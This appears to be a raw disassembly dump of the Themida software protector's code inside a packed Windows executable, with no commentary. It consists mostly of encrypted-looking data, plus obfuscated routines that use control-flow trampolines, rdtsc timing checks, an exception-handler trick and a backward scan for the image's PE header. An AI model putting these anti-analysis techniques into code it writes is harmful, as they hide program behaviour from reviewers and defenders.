		dd 558D8BD0h, 89060E18h, 0E0FD185h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 6508FEF0h
		dd 2EB03871h, 68C0Fh, 0CF810000h, 52DFCC72h, 33BDBD83h
		dd 0F00060Eh, 0E085h, 0AE86000h, 48000000h, 0A0AA89CDh
		dd 9F7AF4CAh, 758D8971h, 5E060E09h, 1D358529h, 8161060Eh
		dd 8F4741EFh, 1185C625h, 56060E2Fh, 21FD958Bh, 4E8060Eh
		dd 39000000h, 0FD41F6Dh, 1181h,	0B830F00h, 0E9000000h
		dd 6, 3671BBD5h, 0BF50751Ch, 72065591h,	424448Bh, 8BD18B66h
		dd 89FE8B00h, 60042444h, 4B75BA66h, 4840Fh, 0BE660000h
		dd 58610970h, 0AB98D8Bh, 0B5FF060Eh, 60E0C3Dh, 8DD0B70Fh
		dd 116F7485h, 0AD950906h, 0FF060E21h, 52006AD0h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 858942E1h, 60E33BDh,	0DE860h, 0C3900000h, 4F072581h
		dd 18536E65h, 0B8C72A6h, 0E197595h, 9E95906h, 9D000000h
		dd 4652D2Ah, 3C7ABB08h,	1185C661h, 6C060E2Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9AC35747h, 598D6C0h
		dd 0E88B706Ch, 10h, 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh
		dd 0C0685FF8h, 0BF71D3D9h, 348EB6D6h, 0C3240481h, 51693196h
		dd 11E9h, 37BC4300h, 0D5BFE32Bh, 7A12949h, 0A1FF670Bh
		dd 0FF5A9BFDh, 0E19F5B5h, 31958B06h, 8D060E18h,	0E3BAD85h
		dd 6AD0FF06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 81BCC350h, 0CAFDFBE9h,	0F9B70F2Ah
		dd 1FDC8589h, 890F0612h, 6, 19E99589h, 0BD83060Eh, 6121FF8h
		dd 0E7850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0E816C351h,	0C6A98DA3h
		dd 0E2F1185h, 4E84906h,	0E9000000h, 508C1529h, 53310F52h
		dd 5A5FC88Bh, 0E8605058h, 0Ch, 6833E1A2h, 0C3A563E7h, 4609A3C4h
		dd 310F5250h, 615A585Ah, 424448Bh, 0DABF6652h, 8B5912h
		dd 0AB491CB9h, 24448942h, 66525004h, 0FCC1CBAh,	0CBB96631h
		dd 58585ACCh, 0FFCE8B66h, 0E19F5B5h, 8DF78A06h,	0E3BAD85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 4577D7F6h, 0FDD4009h, 0D0FFC9BFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 5CC35040h, 32D4162Ah
		dd 0F59604BBh, 1FF88589h, 0B5310612h, 60E2C4Dh,	4319529h
		dd 46A060Eh, 0C01BD09h,	5B68060Eh, 6600C708h, 3481D18Bh
		dd 0C7185B24h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C0F8FE60h, 35633784h
		dd 0A55BC181h, 1F682171h, 66B8964Eh, 481CA8Bh, 6AB1E124h
		dd 0BD8B5147h, 60E1039h, 89006A5Ah, 0E2FD9B5h, 0C195FF06h
		dd 89060E16h, 0E07E985h, 0E8858906h, 6A06121Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0BBC7C350h, 669E139Bh, 89AEC941h, 0E0D0DBDh,	0E085C706h
		dd 6121Fh, 0B1000000h, 3006ACFh, 0E2CA98Dh, 0D0BF0F06h
		dd 0FF865368h, 14E8D8h,	0F0BD0000h, 0F3EE6784h,	0DEB0889Ah
		dd 7DD7CC9Ch, 0FBECEC6Fh, 0C4BA7D97h, 594411E0h, 0AD240481h
		dd 6A270179h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 34D4C350h, 98405E2Ah, 50A0E23Fh
		dd 7E95353h, 29000000h,	0D4087744h, 5A5A56BCh, 89240489h
		dd 0E303595h, 6A0B6A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0AE6BC352h,	0C5AE8610h
		dd 1FB5858Dh, 0B9660612h, 60903809h, 0C187BA66h, 11E8h
		dd 0A9488100h, 466CD383h, 3462C8BBh, 0B310A1E8h, 6160D73Fh
		dd 6050615Fh, 0B966F38Bh, 9061A487h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 6AC35040h, 6956A086h, 0B8F1E98h
		dd 2D8D8B6Fh, 0B9060E16h, 5C620502h, 2A195FFh, 8B66060Eh
		dd 0BFB58DCAh, 6A06121Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 67FDC352h, 0D18293B1h
		dd 11E996h, 6BB30000h, 91034604h, 797490C3h, 0BCCC3305h
		dd 50F17AEEh, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 1C018A8Ch
		dd 0F56504Eh, 481h, 15B96600h, 4895962h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 7D7EBD85h, 0B7EC4F0h, 0E35318Dh, 718D8B06h, 0FF060E03h
		dd 0E0FD195h, 0D08B6606h, 850FC00Bh, 4Ah, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 23C35545h, 58E0Fh
		dd 81660000h, 0E92DFEF7h, 76Dh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 86C35747h, 0D0FFF3E8h, 4658D89h
		dd 0B70F060Eh, 0E8B58BC8h, 0B106121Fh, 20468DF9h, 68C0Fh
		dd 8D8B0000h, 60E0C51h,	6A046Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 2A0FEEC3h, 841BE467h
		dd 0B68A9220h, 4895099h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 65AADC63h, 8B9DFDDBh
		dd 0E0C1D95h, 0C890F06h, 0F000000h, 689h, 8D8D8B00h, 0FF060E29h
		dd 121FF895h, 7D9D8906h, 0B060E1Bh, 50840FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 31A5C356h, 0F2472310h, 0E9C8DE80h, 689h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 81C35242h
		dd 990B7116h, 0BA66BBB6h, 80FC6062h, 0F00207Eh,	65884h
		dd 0F9B70F00h, 0BE8h, 0FED92800h, 0DB02D37h, 7EF37237h
		dd 820F60h, 66000000h, 5A61C18Bh, 158D8B60h, 8D060E29h
		dd 6A2046h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 19FEE3C3h, 629DBC31h, 8B66CEB7h, 0E48589CEh
		dd 6A06121Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0CEBC355h, 0D2B14483h,	5880Fh
		dd 81660000h, 0E9A3FCF7h, 15Eh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0B6C35141h,	4179F87Dh, 66622E9Ah
		dd 8C67CA81h, 5E9h, 9ED35500h, 8960A8A6h, 0E17D1B5h, 0CABF0F06h
		dd 14E84061h, 25000000h, 7B8D15A5h, 84D7DDE0h, 50EA48ACh
		dd 1452232Dh, 600A3795h, 0FD8589F9h, 61060E08h,	8B66905Fh
		dd 8B6650FBh, 6A90CEh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0F0CB7CC3h, 5730D942h, 311F8633h
		dd 0E04AD95h, 10E85006h, 34000000h, 0C872AA73h,	0FD358133h
		dd 86683C47h, 0F87D9AB6h, 46A5A59h, 0B5B517BFh,	0B9669056h
		dd 66500A33h, 8990FA8Bh, 0E135195h, 0F895FF06h,	5106121Fh
		dd 3850Fh, 8B660000h, 0D88B5FD3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0A8C35040h,	876A9EEFh, 0CBBF0F56h
		dd 6A585Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 896168C3h, 0E1E4DB5h, 0FDB0B06h, 3584h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 5974B0BEh, 0E11316B9h, 0F1B58931h, 0E9060E31h, 479h
		dd 1AF5950Bh, 3880060Eh, 0D6850F00h, 0FFFFFFEh,	584h, 0CF5FBF00h
		dd 31E9538Bh, 0F000000h, 688h, 69BD2300h, 48060E1Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EBC35747h, 0C7F0F627h
		dd 301028E7h, 1FE4853Bh, 820F0612h, 68h, 1BA9958Bh, 0BD89060Eh
		dd 60E28B5h, 0F5C3880h,	5384h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 80842E24h
		dd 850F2F38h, 0FFFFFF93h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 46C35040h, 0E3D7C2C0h, 5860FCBh, 66000000h
		dd 7C13E781h, 0E038BF40h, 0BD835814h, 6121FECh,	8A840F00h
		dd 0F000001h, 38Ch, 0FB8B6600h,	0DB5CB990h, 0B950119Bh
		dd 4E34A784h, 0F5952B90h, 81060E16h, 0FBF54CDAh, 0EC850377h
		dd 0E806121Fh, 13h, 765127DCh, 6F47F624h, 40ABA8F6h, 4DED302Fh
		dd 0FC06F7ABh, 0EE8905Fh, 0FF000000h, 0C488AE33h, 7FA0E556h
		dd 6156E8D3h, 7E84Dh, 92F40000h, 3FA6FF36h, 0DE860h, 15B20000h
		dd 7294FFF4h, 0C2063A82h, 5ADE17EDh, 0E8505A5Fh, 14h, 7F720B54h
		dd 9871C5F5h, 151B896h,	9D519C99h, 6D266B25h, 0F23BA66h
		dd 6A9059h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 3548DDC3h, 3FD611EEh, 89ADB5D0h, 0E23B9BDh
		dd 0B046A06h, 0E0A41BDh, 8B665006h, 240489CAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CC35040h, 378A720Ch
		dd 95FF3A99h, 6121FF8h,	0D88BCF8Bh, 0A71B501h, 42B5060Eh
		dd 0BE958h, 15AE0000h, 13B621F8h, 0A2D2C30Bh, 0FDB0BCEh
		dd 3D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 263E9E2h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C628C3h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 39826B61h, 5E9F2h, 83410000h, 58AA746Bh
		dd 8B6650FCh, 240489D3h, 8B1958Bh, 1E6A060Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 96C35242h, 0BFCFBF0Fh
		dd 546E3C58h, 50525090h, 50BF6652h, 0E9310F62h,	10h, 93E10279h
		dd 260626F2h, 54223952h, 8BCD429Ch, 310F585Ah, 0E950585Ah
		dd 8, 15FC50B3h, 288D709Eh, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0DC5398Fh
		dd 8B8F9E7Ah, 0FFC88B3Ch, 121FF895h, 0E8C68006h, 6AD88Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0B73298C3h, 217B2C1Eh, 2BB966D7h, 0C2815846h, 157549D1h
		dd 840FDB0Bh, 18h, 0CA816660h, 820FD4DBh, 0
; ---------------------------------------------------------------------------
		popa
		jmp	loc_58C5C9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+60E0439h]
		nop
		push	eax
		push	edx
		push	ebx
		jmp	loc_58C4A8
; ---------------------------------------------------------------------------
		db 67h,	0BCh, 7Bh
		dd 39E5D911h
; ---------------------------------------------------------------------------


loc_58C4A8:				; CODE XREF: Themida_:0058C49Cj
		pop	edx
		rdtsc
		mov	ecx, 29551146h
		pop	edx
		pop	eax
		push	eax
		mov	dx, 83EDh
		nop
		push	0
		push	edi
		call	sub_58C4C3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C4C3	proc near		; CODE XREF: Themida_:0058C4BBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_58C4C3	endp

; ---------------------------------------------------------------------------
		db 0FCh
		dd 0EEEA863h, 1D1870E3h, 14718D89h, 0B5FF060Eh,	6121FD8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C7C35141h
		dd 9D29D183h, 60E0C45h,	95FFCE8Bh, 6121FDCh, 102EBA66h
		dd 850FC00Bh, 63h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 90C35242h, 0FB549F37h, 1F59D89h, 6E9060Eh
		dd 0B9000000h, 0AE259E70h, 958B61AAh, 60E34D9h,	1FE085C7h
		dd 10612h, 11E90000h, 0ED000000h, 2BD2E2F1h, 1050777Ch
		dd 0B4EEEE48h, 4BC96407h, 4CE9h, 1D8D0300h, 61060E0Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 11C35141h
		dd 29B0C9DBh, 6059B3CAh, 1419958Bh, 9589060Eh, 60E2A15h
		dd 0CBBF0F61h, 11CC681h, 0CAE90000h, 8BFFFFF8h,	0E07F9BDh
; ---------------------------------------------------------------------------
		push	es


loc_58C5C9:				; CODE XREF: Themida_:0058C48Dj
		call	near ptr loc_58C5CE+4


loc_58C5CE:				; CODE XREF: Themida_:loc_58C5C9p
		add	[eax-28750000h], al
		push	eax
		mov	cl, 9Dh
		mov	eax, [esp+4]
		mov	ecx, eax
		mov	eax, [eax]
		jnp	$+6
		mov	[esp+4], eax
		mov	edx, 671982C4h
		pop	eax
		add	edi, 69B025ADh
		push	0
		push	0
		push	ecx
		call	sub_58C602


loc_58C5FF:				; CODE XREF: Themida_:0058C663j
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C602	proc near		; CODE XREF: Themida_:0058C5FAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_58C602	endp

; ---------------------------------------------------------------------------
		stosd
		jg	short loc_58C649
		push	edi
		inc	edi
		mov	dh, 0A9h
		rcl	edx, 1
		cmp	[ecx], ch
		test	[ecx], ebx
		or	ecx, [esi]
		push	es
		push	dword ptr [ebp+6121FE8h]
		push	0
		push	eax
		call	sub_58C633
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C633	proc near		; CODE XREF: Themida_:0058C62Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_58C633	endp

; ---------------------------------------------------------------------------
		adc	al, al
		sub	al, 0B5h
		or	al, 25h


loc_58C649:				; CODE XREF: Themida_:0058C613j
		in	al, 0A1h	; Interrupt Controller #2, 8259A
		xor	al, 0Fh
		mov	edi, 0BD95FFCBh
		xor	ecx, [esi]
		push	es
		call	near ptr loc_58C66A+1
		sub	[edi+724A8475h], cl
		test	al, 0C7h
		outsd
		jbe	short loc_58C5FF
		mov	ebp, 1DAC476Dh


loc_58C66A:				; CODE XREF: Themida_:0058C655p
		or	dword ptr [edx-7A74A015h], 6121FE0h
		mov	[ebp+60E1785h],	eax
		push	eax
		push	eax
		push	edx
		rdtsc
		mov	di, 2A8Eh
		pop	edx
		pop	eax
		mov	[esp], eax
		mov	[ebp+60E1B75h],	ecx
		lea	eax, [ebp+6121FF0h]
		push	0
		push	ecx
		call	sub_58C69F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C69F	proc near		; CODE XREF: Themida_:0058C697p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_58C69F	endp

; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		xor	[edi-0Ch], cl
		test	eax, 908B3FB7h
		mov	di, 0CDFDh
		push	eax
		jns	loc_58C6CD
		jbe	loc_58C6CD
		mov	cx, 0CBF0h


loc_58C6CD:				; CODE XREF: Themida_:0058C6BDj
					; Themida_:0058C6C3j
		nop
		sub	ecx, 2F512624h
		lea	eax, [ebp+6121FADh]
		jmp	loc_58C6E6
; ---------------------------------------------------------------------------
		db 32h
		dd 0FA4F9659h
		db 17h,	15h
; ---------------------------------------------------------------------------


loc_58C6E6:				; CODE XREF: Themida_:0058C6DAj
		push	eax
		pusha
		mov	ax, dx
		jmp	loc_58C702
; ---------------------------------------------------------------------------
		dd 4D43BB4Fh, 0E9879B1h, 59F0A8E5h, 7F551C4h
; ---------------------------------------------------------------------------
		pop	ds
		xlat


loc_58C702:				; CODE XREF: Themida_:0058C6EBj
		popa
		mov	[esp], eax
		push	0
		push	edi
		call	sub_58C711
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C711	proc near		; CODE XREF: Themida_:0058C709p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_58C711	endp

; ---------------------------------------------------------------------------
		db 65h,	0C1h, 9Fh
; ---------------------------------------------------------------------------
		jnp	loc_58C736
		js	loc_58C736
		mov	[ebp+60E1AF5h],	ebx


loc_58C736:				; CODE XREF: Themida_:0058C724j
					; Themida_:0058C72Aj
		xor	edx, [ebp+60E348Dh]
		call	dword ptr [ebp+60E0A59h]
		push	0
		push	ecx
		call	sub_58C74D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C74D	proc near		; CODE XREF: Themida_:0058C745p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_58C74D	endp

; ---------------------------------------------------------------------------
		jns	short near ptr loc_58C776+5
		mov	[ebp+60E0E75h],	esi
		mov	eax, eax
		mov	edi, [ebp+60E1E35h]
		cmp	dword ptr [ebp+60E0E21h], 0
		jnz	short loc_58C77F


loc_58C776:				; CODE XREF: Themida_:0058C75Dj
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_58C792


loc_58C77F:				; CODE XREF: Themida_:0058C774j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 4D0h
		lea	ebx, [ebp+610A6A7h]
		call	ebx
		pop	ebx
		pop	eax


loc_58C792:				; CODE XREF: Themida_:0058C77Dj
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_58C7AC
		push	eax
		push	ebx
		mov	eax, 4D0h
		lea	ebx, [ebp+610A5A6h]
		call	ebx
		pop	ebx
		pop	eax


loc_58C7AC:				; CODE XREF: Themida_:0058C799j
		push	0
		push	esi
		call	sub_58C7B7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C7B7	proc near		; CODE XREF: Themida_:0058C7AFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_58C7B7	endp

; ---------------------------------------------------------------------------
		cwde
		wait
		push	ds
		test	al, 3
		mov	edx, 795F54Bh
		ja	loc_58C7D8
		cmc


loc_58C7D8:				; CODE XREF: Themida_:0058C7D1j
		mov	edx, [ebp+60E047Dh]
		mov	eax, eax
		mov	cx, 2471h
		pop	eax
		push	0
		push	ebp
		call	sub_58C7F0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C7F0	proc near		; CODE XREF: Themida_:0058C7E8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_58C7F0	endp

; ---------------------------------------------------------------------------
		dd 0B589B981h, 60E2A1Dh, 6E9h, 0E53CF200h, 0C2E33B2Eh
		dd 6A0008h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 86C9E9C3h, 66C08B45h, 9429CA81h, 2007858Dh
		dd 89530612h, 0E277DB5h, 85895A06h, 60E1DB1h, 13E8h, 48DB8A00h
		dd 0F1FCCCF3h, 0FE55FDE3h, 0B41A749Bh, 6C5C5793h, 2DD98D29h
		dd 8B58060Eh, 0E2FAD8Dh, 2FC08106h, 0B500005Eh,	0BE69BF06h
		dd 0C78131F5h, 0CE0A58FCh, 5880Fh, 81660000h, 0FF22F2F2h
		dd 0C9816630h, 15BA659h, 0E349595h, 0A9EB8106h,	0F4A66EFh
		dd 18Fh, 0C381F800h, 688A5CC8h,	781B58Bh, 0F381060Eh, 20770190h
		dd 1889B4B6h, 6890Fh, 0B58B0000h, 60E1A9Dh, 4A3E881h, 8D8B154Fh
		dd 60E0C01h, 49FC081h, 0EF81154Fh, 1, 0FFA5850Fh, 0B509FFFFh
		dd 60E1AC1h, 0E1000BAh,	0EA81F0h, 83F00000h, 958914C2h
		dd 60E146Dh, 8D14EA83h,	12339E85h, 0FF645006h, 35h, 25896400h
		dd 0
; ---------------------------------------------------------------------------
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_58C92D:				; CODE XREF: Themida_:0058C94Fj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_58C94A
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_58C954


loc_58C94A:				; CODE XREF: Themida_:0058C932j
		sub	eax, 1000h
		jmp	loc_58C92D
; ---------------------------------------------------------------------------


loc_58C954:				; CODE XREF: Themida_:0058C944j
		mov	ecx, eax
		mov	[ebp+60E0305h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+60E31E9h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+60E0345h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+60E0711h],	edx
		add	edx, [eax+8]
		mov	[ebp+60E2951h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_58C9AD
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_58C9AD:				; CODE XREF: Themida_:0058C995j
		cmp	dword ptr [ebp+60E0935h], 0
		jz	loc_58C9DE
		mov	byte ptr [ebp+60E2F11h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+60E0C3Dh]
		lea	eax, [ebp+6116F74h]
		call	eax
		push	0
		call	eax
		mov	[ebp+60E31ADh],	eax


loc_58C9DE:				; CODE XREF: Themida_:0058C9B4j
		mov	edx, ebx
		jmp	loc_58CA03
; ---------------------------------------------------------------------------
		db 92h,	0B5h, 0A6h
		dd 71h,	5 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_58CA03:				; CODE XREF: Themida_:0058C9E0j
		jmp	loc_58CF28
; ---------------------------------------------------------------------------
		retn	0CBh
; ---------------------------------------------------------------------------
		db 3Ch
		dd 20E4A5A1h, 3C78A85h,	0E5A96E68h, 0C589524Ah,	0C3BB2A9Ah
		dd 0A29B36FAh, 7E7C17DBh, 6562FDC1h, 0CB96E2A6h, 7B848F0Ah
		dd 2CDA435Dh, 4CD1B9B6h, 1E855806h, 5BD69D96h, 1AB9C4E0h
		dd 0C3460720h, 7F5B692Dh, 0FDE58904h, 0EC9509E3h, 0E2DA75CAh
		dd 0BDBA5519h, 38D7E2FEh, 0A75E7A3Dh, 81C87503h, 0B50A71D5h
		dd 425E1D1Ah, 8EAA6B67h, 9EE536F8h, 831EE2A1h, 61489F85h
		dd 3D063154h, 0C5BC7BB0h, 47FFADCh, 0C6A7A540h,	34EB07CCh
		dd 0C9C29DB9h, 7F8AE602h, 0ECA8EFB0h, 5F205B69h, 5B69EC38h
		dd 0DB561D98h, 0ECCC4B0Ch, 9845B69h, 9EE536B4h,	841FE3A0h
		dd 0CF0B9F87h, 8BC85617h, 95F7F410h, 0D55B69F7h, 0DF3AFBCAh
		dd 965B69F7h, 9D8DC981h, 900BD24Eh, 0A57599ECh,	4597124h
		dd 0F0073586h, 36AFF55Bh, 65h, 0FAB9B6C8h, 4304D3DEh, 5B69B0C4h
		dd 0EFAC017Ch, 5B69B0AAh, 8FBD0ECCh, 0AFF64C68h, 6BEh
		dd 5C54F300h, 0B6D03E93h, 2DDF9BAh, 4E294506h, 0DD738F54h
		dd 8783CA1Bh, 6728F7C6h, 5B69B020h, 10D025A0h, 52B57645h
		dd 165B69B0h, 1691581Bh, 6A2926C1h, 4B0CDBA6h, 5B69B0CCh
		dd 27EAE584h, 84D9540Bh, 0F5BEB616h, 0CA8B8726h, 20A3CEAEh
		dd 4CAD17AFh, 89647CD1h, 5EFDCC8Dh, 0D087A360h,	1D723731h
		dd 0A6451005h, 0F1CCE8ABh, 621935F4h, 0C31492E7h, 0F7BB847Ch
		dd 84A05F5Ch, 0CFEBAEA9h, 3D3AD9E8h, 56AB627Eh,	0AE5987D8h
		dd 78AFF61Eh, 5Dh, 0F5BEB60Ah, 1C03FED9h, 0DDC43224h, 0D2A39DD0h
		dd 9843B57h, 449557EDh,	783C05FDh, 1CE5DDh, 4A662B25h
		dd 0BDB55463h, 0CC21D8F4h, 38CFFD4Eh, 0EEAFF628h, 71h
		dd 0EFE78680h, 26420902h, 21D8F46Fh, 703931CCh,	6A7B7954h
		dd 69B06EA9h, 0EC67E25Bh, 47981AD0h, 7B3F0800h,	0D5BAB60Dh
		dd 819D18D9h, 0A3E6A776h, 1F5B69B0h, 72924FA4h,	705B69B0h
		dd 4BEA61B2h, 0A76E6752h, 3D59D48Bh, 347F285Dh,	0D853BB1Eh
		dd 257A3F39h, 0F61254A3h, 13D2AFh, 38070000h, 699E1077h
		dd 20E1B05Bh, 5B699EF9h, 0E63DE59h, 0F8BBB6A0h,	1C0401DCh
		dd 0F09F8A93h, 44F9FC28h, 6B613605h, 0FD5975F0h, 0ACA7EE3Fh
		dd 0D26625E9h, 868120EFh, 0E2A36EC3h, 6177544Ah, 0D4DFFB76h
		dd 5D675130h, 1CBBE586h, 8C435F20h, 0E09F9C37h,	0C584811Ch
		dd 0D46FACA9h, 0B234A29Bh, 5E1D1A61h, 4302FF9Ah, 16DBD574h
		dd 0D1CEA9C1h, 120EF1EEh, 3F5BD651h, 347BCC4Ah,	32B47837h
		dd 0B603E7C5h, 13461h, 0A692F300h, 318B4C1Bh, 0EF6177E2h
		dd 0AE4D5874h, 9BF0B3h,	64232003h, 0AD746D48h, 19E8B732h
		dd 987E3158h, 0C11691A2h, 0AA696601h, 0F7B6B38Eh, 1768E6DBh
		dd 5014D3D0h, 47E29CEh,	655FFEB6h, 0BCEEB077h, 37B27E7Dh
		dd 5616E2h, 92A80000h, 884918A9h, 0DB69B021h, 0F39766E1h
		dd 3C944888h, 41C717Ah,	69498007h, 0A8F977DBh, 0F4C3FE3Dh
		dd 0D53D8125h, 0FD74C849h, 448CEBA8h, 0C9445B69h, 270156FAh
		dd 16E621E2h, 0DF5A5B69h, 0FA89E93Bh, 671E3A01h, 0CD797ECh
		dd 96B26F6Dh, 92408ADFh, 0CE000000h, 4C1BA692h,	77B0D98Bh
		dd 809C1761h, 0FE95D175h, 0FD9EECA1h, 72C742FFh, 4C1BDAD7h
		dd 9DF2AFADh, 864542DDh, 0AF2D6D6Ah, 0D8D3A298h, 1632F7F1h
		dd 0EDC8E45Fh, 0BA1632EFh, 0E88ABFCh, 0E3A4A03Fh, 78BF108Eh
		dd 2DF8BC7Bh, 0E2E9D689h, 1065C130h, 0BDAE751h,	0B6A29D3Ch
		dd 0D2E3D7D7h, 378C072Ch, 8A48327Ah, 3753CE98h,	84A05F5Ch
		dd 0AE196A28h, 67660E8Ah, 0A65A7172h, 0C0BD5C2Bh, 20E1AC01h
		dd 92A43DD4h, 0CAA6C86Ch, 0DB61A6B2h, 8448C386h, 96E28616h
		dd 0B056A26Bh, 0C177368Bh, 420DFDCh, 4203D24Dh,	617BCBEAh
		dd 74B7EA8Eh, 1A87E5C3h, 6B8702C5h, 10D49390h, 9DB97875h
		dd 0F33A62A0h, 3C8D4F2Ah, 7539F8F5h, 21EDDDAh, 47442D27h
		dd 16F10D88h, 603B571Ch, 0EF85A166h, 99B9DC2Dh,	46438ADBh
		dd 2B28C387h, 0A145506Ch, 0A5646058h, 3B85DA03h, 3, 0B68133C9h
		dd 0FDD8F4BFh, 4A254100h, 98738F4Ch, 0E1BCD89Fh, 290420E9h
		dd 714C6831h, 0BB96B277h, 6E1FDC0h, 692D490Ah, 62BC68h
